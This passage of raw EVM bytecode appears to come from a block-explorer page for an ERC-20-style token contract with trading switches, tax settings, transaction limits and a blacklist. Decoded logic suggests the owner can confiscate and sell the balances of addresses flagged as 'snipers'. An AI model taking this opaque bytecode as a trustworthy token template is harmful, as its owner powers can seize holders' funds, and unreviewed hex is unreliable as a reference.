80600860009054906101000a900460ff161580613f255750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80613f795750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613f8757600090506140bc565b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561400a576064600e60039054906101000a900460ff1660ff1684613ff99190614afc565b6140039190614b85565b90506140bb565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561408d576064600e60049054906101000a900460ff1660ff168461407c9190614afc565b6140869190614b85565b90506140ba565b6064600e60059054906101000a900460ff1660ff16846140ad9190614afc565b6140b79190614b85565b90505b5b5b809150509392505050565b60008111156142525780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461411b9190614c83565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546141a99190614ed2565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161424991906144ff565b60405180910390a35b5050565b600080fd5b600063ffffffff82169050919050565b6142748161425b565b811461427f57600080fd5b50565b6000813590506142918161426b565b92915050565b600080600080608085870312156142b1576142b0614256565b5b60006142bf87828801614282565b94505060206142d087828801614282565b93505060406142e187828801614282565b92505060606142f287828801614282565b91505092959194509250565b600081519050919050565b600082825260208201905092915050565b60005b8381101561433857808201518184015260208101905061431d565b83811115614347576000848401525b50505050565b6000601f19601f8301169050919050565b6000614369826142fe565b6143738185614309565b935061438381856020860161431a565b61438c8161434d565b840191505092915050565b600060208201905081810360008301526143b1818461435e565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006143e4826143b9565b9050919050565b6143f4816143d9565b81146143ff57600080fd5b50565b600081359050614411816143eb565b92915050565b6000819050919050565b61442a81614417565b811461443557600080fd5b50565b60008135905061444781614421565b92915050565b6000806040838503121561446457614463614256565b5b600061447285828601614402565b925050602061448385828601614438565b9150509250929050565b60008115159050919050565b6144a28161448d565b82525050565b60006020820190506144bd6000830184614499565b92915050565b6000602082840312156144d9576144d8614256565b5b60006144e784828501614402565b91505092915050565b6144f981614417565b82525050565b600060208201905061451460008301846144f0565b92915050565b60008060006060848603121561453357614532614256565b5b600061454186828701614402565b935050602061455286828701614402565b925050604061456386828701614438565b9150509250925092565b600060ff82169050919050565b6145838161456d565b82525050565b600060208201905061459e600083018461457a565b92915050565b600080600080608085870312156145be576145bd614256565b5b60006145cc87828801614402565b94505060206145dd87828801614402565b93505060406145ee87828801614402565b92505060606145ff87828801614402565b91505092959194509250565b60006020828403121561462157614620614256565b5b600061462f84828501614438565b91505092915050565b614641816143d9565b82525050565b600060208201905061465c6000830184614638565b92915050565b600061ffff82169050919050565b61467981614662565b811461468457600080fd5b50565b60008135905061469681614670565b92915050565b600080604083850312156146b3576146b2614256565b5b60006146c185828601614687565b92505060206146d285828601614687565b9150509250929050565b600080604083850312156146f3576146f2614256565b5b600061470185828601614402565b925050602061471285828601614402565b9150509250929050565b6147258161456d565b811461473057600080fd5b50565b6000813590506147428161471c565b92915050565b60008060006060848603121561476157614760614256565b5b600061476f86828701614733565b935050602061478086828701614733565b925050604061479186828701614733565b9150509250925092565b60008060008060008060c087890312156147b8576147b7614256565b5b60006147c689828a01614687565b96505060206147d789828a01614687565b95505060406147e889828a01614687565b94505060606147f989828a01614687565b935050608061480a89828a01614687565b92505060a061481b89828a01614687565b9150509295509295509295565b61483181614662565b82525050565b600060208201905061484c6000830184614828565b92915050565b600061485d826143b9565b9050919050565b61486d81614852565b811461487857600080fd5b50565b60008135905061488a81614864565b92915050565b6000602082840312156148a6576148a5614256565b5b60006148b48482850161487b565b91505092915050565b7f4f6e6c7920636f6e7472616374206f776e65722063616e2063616c6c2074686960008201527f732066756e6374696f6e00000000000000000000000000000000000000000000602082015250565b6000614919602a83614309565b9150614924826148bd565b604082019050919050565b600060208201905081810360008301526149488161490c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156149d5578086048111156149b1576149b061494f565b5b60018516156149c05780820291505b80810290506149ce8561497e565b9450614995565b94509492505050565b6000826149ee5760019050614aaa565b816149fc5760009050614aaa565b8160018114614a125760028114614a1c57614a4b565b6001915050614aaa565b60ff841115614a2e57614a2d61494f565b5b8360020a915084821115614a4557614a4461494f565b5b50614aaa565b5060208310610133831016604e8410600b8410161715614a805782820a905083811115614a7b57614a7a61494f565b5b614aaa565b614a8d848484600161498b565b92509050818404811115614aa457614aa361494f565b5b81810290505b9392505050565b6000614abc82614417565b9150614ac78361456d565b9250614af47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846149de565b905092915050565b6000614b0782614417565b9150614b1283614417565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614b4b57614b4a61494f565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614b9082614417565b9150614b9b83614417565b925082614bab57614baa614b56565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680614bfd57607f821691505b60208210811415614c1157614c10614bb6565b5b50919050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b6000614c4d601083614309565b9150614c5882614c17565b602082019050919050565b60006020820190508181036000830152614c7c81614c40565b9050919050565b6000614c8e82614417565b9150614c9983614417565b925082821015614cac57614cab61494f565b5b828203905092915050565b7f74726164696e6720616c7265616479206f70656e000000000000000000000000600082015250565b6000614ced601483614309565b9150614cf882614cb7565b602082019050919050565b60006020820190508181036000830152614d1c81614ce0565b9050919050565b7f6574682063616e6e6f7420626520300000000000000000000000000000000000600082015250565b6000614d59600f83614309565b9150614d6482614d23565b602082019050919050565b60006020820190508181036000830152614d8881614d4c565b9050919050565b7f6e6f7420656e6f75676820657468000000000000000000000000000000000000600082015250565b6000614dc5600e83614309565b9150614dd082614d8f565b602082019050919050565b60006020820190508181036000830152614df481614db8565b9050919050565b7f6e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b6000614e31600983614309565b9150614e3c82614dfb565b602082019050919050565b60006020820190508181036000830152614e6081614e24565b9050919050565b600081519050614e76816143eb565b92915050565b600060208284031215614e9257614e91614256565b5b6000614ea084828501614e67565b91505092915050565b6000604082019050614ebe6000830185614638565b614ecb6020830184614638565b9392505050565b6000614edd82614417565b9150614ee883614417565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614f1d57614f1c61494f565b5b828201905092915050565b7f7478206c696d697420746f6f206c6f7700000000000000000000000000000000600082015250565b6000614f5e601083614309565b9150614f6982614f28565b602082019050919050565b60006020820190508181036000830152614f8d81614f51565b9050919050565b7f77616c6c6574206c696d697420746f6f206c6f77000000000000000000000000600082015250565b6000614fca601483614309565b9150614fd582614f94565b602082019050919050565b60006020820190508181036000830152614ff981614fbd565b9050919050565b7f6e6f74206120736e697065720000000000000000000000000000000000000000600082015250565b6000615036600c83614309565b915061504182615000565b602082019050919050565b6000602082019050818103600083015261506581615029565b9050919050565b7f4e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b60006150a2600983614309565b91506150ad8261506c565b602082019050919050565b600060208201905081810360008301526150d181615095565b9050919050565b7f54617820746f6f20686967680000000000000000000000000000000000000000600082015250565b600061510e600c83614309565b9150615119826150d8565b602082019050919050565b6000602082019050818103600083015261513d81615101565b9050919050565b600061514f82614662565b915061515a83614662565b92508261ffff038211156151715761517061494f565b5b828201905092915050565b7f53756d206d757374206265203130303000000000000000000000000000000000600082015250565b60006151b2601083614309565b91506151bd8261517c565b602082019050919050565b600060208201905081810360008301526151e1816151a5565b9050919050565b60006151f38261456d565b91506151fe8361456d565b92508160ff04831182151516156152185761521761494f565b5b828202905092915050565b6000819050919050565b600061524861524361523e846143b9565b615223565b6143b9565b9050919050565b600061525a8261522d565b9050919050565b600061526c8261524f565b9050919050565b61527c81615261565b82525050565b60006020820190506152976000830184615273565b92915050565b60006152a882614662565b915061ffff8214156152bd576152bc61494f565b5b600182019050919050565b60006152d3826143b9565b91506152de836143b9565b9250826152ee576152ed614b56565b5b828206905092915050565b7f476173207072696365206f766572206c696d6974000000000000000000000000600082015250565b600061532f601483614309565b915061533a826152f9565b602082019050919050565b6000602082019050818103600083015261535e81615322565b9050919050565b7f626c61636b6c6973746564000000000000000000000000000000000000000000600082015250565b600061539b600b83614309565b91506153a682615365565b602082019050919050565b600060208201905081810360008301526153ca8161538e565b9050919050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b6000615407601183614309565b9150615412826153d1565b602082019050919050565b60006020820190508181036000830152615436816153fa565b9050919050565b6000819050919050565b600061546261545d6154588461543d565b615223565b614417565b9050919050565b61547281615447565b82525050565b600060c08201905061548d6000830189614638565b61549a60208301886144f0565b6154a76040830187615469565b6154b46060830186615469565b6154c16080830185614638565b6154ce60a08301846144f0565b979650505050505050565b6000815190506154e881614421565b92915050565b60008060006060848603121561550757615506614256565b5b6000615515868287016154d9565b9350506020615526868287016154d9565b9250506040615537868287016154d9565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6155d4816143d9565b82525050565b60006155e683836155cb565b60208301905092915050565b6000602082019050919050565b600061560a8261559f565b61561481856155aa565b935061561f836155bb565b8060005b8381101561565057815161563788826155da565b9750615642836155f2565b925050600181019050615623565b5085935050505092915050565b600060a08201905061567260008301886144f0565b61567f6020830187615469565b818103604083015261569181866155ff565b90506156a06060830185614638565b6156ad60808301846144f0565b969550505050505056fea264697066735822122005650aef74c83937faaf55db6c000be867cc56c25c34a1f7c7dfae0f7db7aa8664736f6c634300080b003300000000000000000000000000000000000000000000000000000000142aa7e400000000000000000000000000000000000000000000000000000000072719b6

Deployed Bytecode

0x6080604052600436106101f15760003560e01c806395d89b411161010d578063d9f0b370116100a0578063e7173dd01161006f578063e7173dd0146106cb578063e79d4160146106f4578063ed7b6bb51461071f578063f2fde38b14610736578063ffb54a991461075f576101f8565b8063d9f0b37014610625578063dca2a8b61461064e578063dd62ed3e14610665578063e461c221146106a2576101f8565b8063aa4bde28116100dc578063aa4bde281461057f578063b1421803146105aa578063b875e50b146105d3578063cf40b248146105fc576101f8565b806395d89b41146104d75780639ec2825114610502578063a499c2831461052b578063a9059cbb14610542576101f8565b8063313ce5671161018557806370a082311161015457806370a0823114610407578063863abf6d14610444578063893d20e8146104815780638c0b5e22146104ac576101f8565b8063313ce56714610361578063607759511461038c578063677ef846146103b55780636969c1a4146103de576101f8565b806318160ddd116101c157806318160ddd146102cb5780631c939ee9146102f65780631cbbe3e41461030d57806323b872dd14610324576101f8565b8062fffc9d146101fd57806306fdde0314610226578063095ea7b3146102515780630f3a325f1461028e576101f8565b366101f857005b600080fd5b34801561020957600080fd5b50610224600480360381019061021f9190614297565b61078a565b005b34801561023257600080fd5b5061023b6108a8565b6040516102489190614397565b60405180910390f35b34801561025d57600080fd5b506102786004803603810190610273919061444d565b61093a565b60405161028591906144a8565b60405180910390f35b34801561029a57600080fd5b506102b560048036038101906102b091906144c3565b610a97565b6040516102c291906144a8565b60405180910390f35b3480156102d757600080fd5b506102e0610af2565b6040516102ed91906144ff565b60405180910390f35b34801561030257600080fd5b5061030b610b16565b005b34801561031957600080fd5b50610322610baf565b005b34801561033057600080fd5b5061034b6004803603810190610346919061451a565b610c49565b60405161035891906144a8565b60405180910390f35b34801561036d57600080fd5b50610376610e52565b6040516103839190614589565b60405180910390f35b34801561039857600080fd5b506103b360048036038101906103ae91906144c3565b610e5b565b005b3480156103c157600080fd5b506103dc60048036038101906103d791906145a4565b610f44565b005b3480156103ea57600080fd5b506104056004803603810190610400919061460b565b6112d8565b005b34801561041357600080fd5b5061042e600480360381019061042991906144c3565b6118cb565b60405161043b91906144ff565b60405180910390f35b34801561045057600080fd5b5061046b600480360381019061046691906144c3565b611914565b60405161047891906144ff565b60405180910390f35b34801561048d57600080fd5b5061049661195d565b6040516104a39190614647565b60405180910390f35b3480156104b857600080fd5b506104c1611986565b6040516104ce91906144ff565b60405180910390f35b3480156104e357600080fd5b506104ec61198c565b6040516104f99190614397565b60405180910390f35b34801561050e57600080fd5b50610529600480360381019061052491906144c3565b611a1e565b005b34801561053757600080fd5b50610540611b07565b005b34801561054e57600080fd5b506105696004803603810190610564919061444d565b611bda565b60405161057691906144a8565b60405180910390f35b34801561058b57600080fd5b50610594611c36565b6040516105a191906144ff565b60405180910390f35b3480156105b657600080fd5b506105d160048036038101906105cc919061469c565b611c3c565b005b3480156105df57600080fd5b506105fa60048036038101906105f591906144c3565b611dfa565b005b34801561060857600080fd5b50610623600480360381019061061e91906144c3565b611ee3565b005b34801561063157600080fd5b5061064c600480360381019061064791906144c3565b611fcc565b005b34801561065a57600080fd5b5061066361233b565b005b34801561067157600080fd5b5061068c600480360381019061068791906146dc565b612425565b60405161069991906144ff565b60405180910390f35b3480156106ae57600080fd5b506106c960048036038101906106c49190614748565b6124ac565b005b3480156106d757600080fd5b506106f260048036038101906106ed919061479b565b61262a565b005b34801561070057600080fd5b506107096127ec565b6040516107169190614837565b60405180910390f35b34801561072b57600080fd5b50610734612800565b005b34801561074257600080fd5b5061075d60048036038101906107589190614890565b6128e2565b005b34801561076b57600080fd5b506107746129ea565b60405161078191906144a8565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080f9061492f565b60405180910390fd5b8263ffffffff168463ffffffff166009600a6108349190614ab1565b6305f5e1006108439190614afc565b61084d9190614afc565b6108579190614b85565b600b819055508063ffffffff168263ffffffff166009600a6108799190614ab1565b6305f5e1006108889190614afc565b6108929190614afc565b61089c9190614b85565b600c8190555050505050565b6060600180546108b790614be5565b80601f01602080910402602001604051908101604052809291908181526020018280546108e390614be5565b80156109305780601f1061090557610100808354040283529160200191610930565b820191906000526020600020905b81548152906001019060200180831161091357829003601f168201915b5050505050905090565b600043600f541180156109975750601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156109a7576109a633436129fd565b5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a8591906144ff565b60405180910390a36001905092915050565b600080601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610ae85760019050610aed565b600090505b919050565b60006009600a610b029190614ab1565b6305f5e100610b119190614afc565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ba4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9b9061492f565b60405180910390fd5b610bad47612b1f565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c349061492f565b60405180910390fd5b610c476000612d87565b565b6000610c53612de6565b610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8990614c63565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610e3e5781600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dbd9190614c83565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610e49848484612e6c565b90509392505050565b60006009905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ee9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee09061492f565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc99061492f565b60405180910390fd5b83601360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135d9061492f565b60405180910390fd5b600860009054906101000a900460ff16156113b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ad90614d03565b60405180910390fd5b600081116113f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f090614d6f565b60405180910390fd5b6001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600047905081811015611606576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fd90614ddb565b60405180910390fd5b6000611611306118cb565b905060008111611656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164d90614e47565b60405180910390fd5b6000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e99190614e7c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611772573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117969190614e7c565b6040518363ffffffff1660e01b81526004016117b3929190614ea9565b6020604051808303816000875af11580156117d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117f69190614e7c565b90506001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506118b182613537565b6118bd82856000613721565b6118c56137ff565b50505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60095481565b60606002805461199b90614be5565b80601f01602080910402602001604051908101604052809291908181526020018280546119c790614be5565b8015611a145780601f106119e957610100808354040283529160200191611a14565b820191906000526020600020905b8154815290600101906020018083116119f757829003601f168201915b5050505050905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa39061492f565b60405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8c9061492f565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6012819055506000601360006101000a81548160ff021916908360ff160217905550565b6000611be4612de6565b611c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1a90614c63565b60405180910390fd5b611c2e338484612e6c565b905092915050565b600a5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc19061492f565b60405180910390fd5b600060016103e88461ffff166009600a611ce49190614ab1565b6305f5e100611cf39190614afc565b611cfd9190614afc565b611d079190614b85565b611d119190614ed2565b9050600954811015611d58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4f90614f74565b60405180910390fd5b80600981905550600060016103e88461ffff166009600a611d799190614ab1565b6305f5e100611d889190614afc565b611d929190614afc565b611d9c9190614b85565b611da69190614ed2565b9050600a54811015611ded576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de490614fe0565b60405180910390fd5b80600a8190555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7f9061492f565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f689061492f565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461205a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120519061492f565b60405180910390fd5b6001601660146101000a81548160ff0219169083151502179055506000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156120f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ef9061504c565b60405180910390fd5b6000612103826118cb565b905060008111612148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213f90614e47565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121939190614c83565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122219190614ed2565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122c191906144ff565b60405180910390a3600060016002836122da9190614b85565b6122e49190614c83565b905060004790506122f482613947565b600081476123029190614c83565b905061230d83613537565b61231983826000613721565b505050506000601660146101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146123c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c09061492f565b60405180910390fd5b60006123d4306118cb565b905060008111612419576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612410906150b8565b60405180910390fd5b61242281613947565b50565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461253a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125319061492f565b60405180910390fd5b600e60029054906101000a900460ff1660ff168360ff16111580156125745750600e60029054906101000a900460ff1660ff168260ff1611155b80156125955750600e60029054906101000a900460ff1660ff168160ff1611155b6125d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125cb90615124565b60405180910390fd5b82600e60036101000a81548160ff021916908360ff16021790555081600e60046101000a81548160ff021916908360ff16021790555080600e60056101000a81548160ff021916908360ff160217905550505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146126b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126af9061492f565b60405180910390fd5b6103e881838587898b6126cb9190615144565b6126d59190615144565b6126df9190615144565b6126e99190615144565b6126f39190615144565b61ffff1614612737576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161272e906151c8565b60405180910390fd5b85600e60066101000a81548161ffff021916908361ffff16021790555084600e60086101000a81548161ffff021916908361ffff16021790555083600e600a6101000a81548161ffff021916908361ffff16021790555082600e600c6101000a81548161ffff021916908361ffff16021790555081600e806101000a81548161ffff021916908361ffff16021790555080600e60106101000a81548161ffff021916908361ffff160217905550505050505050565b600e60009054906101000a900461ffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461288e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128859061492f565b60405180910390fd5b6000600e60036101000a81548160ff021916908360ff160217905550600e60029054906101000a900460ff1660026128c691906151e8565b600e60046101000a81548160ff021916908360ff160217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612970576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129679061492f565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373fffffffffffffffffffffffffff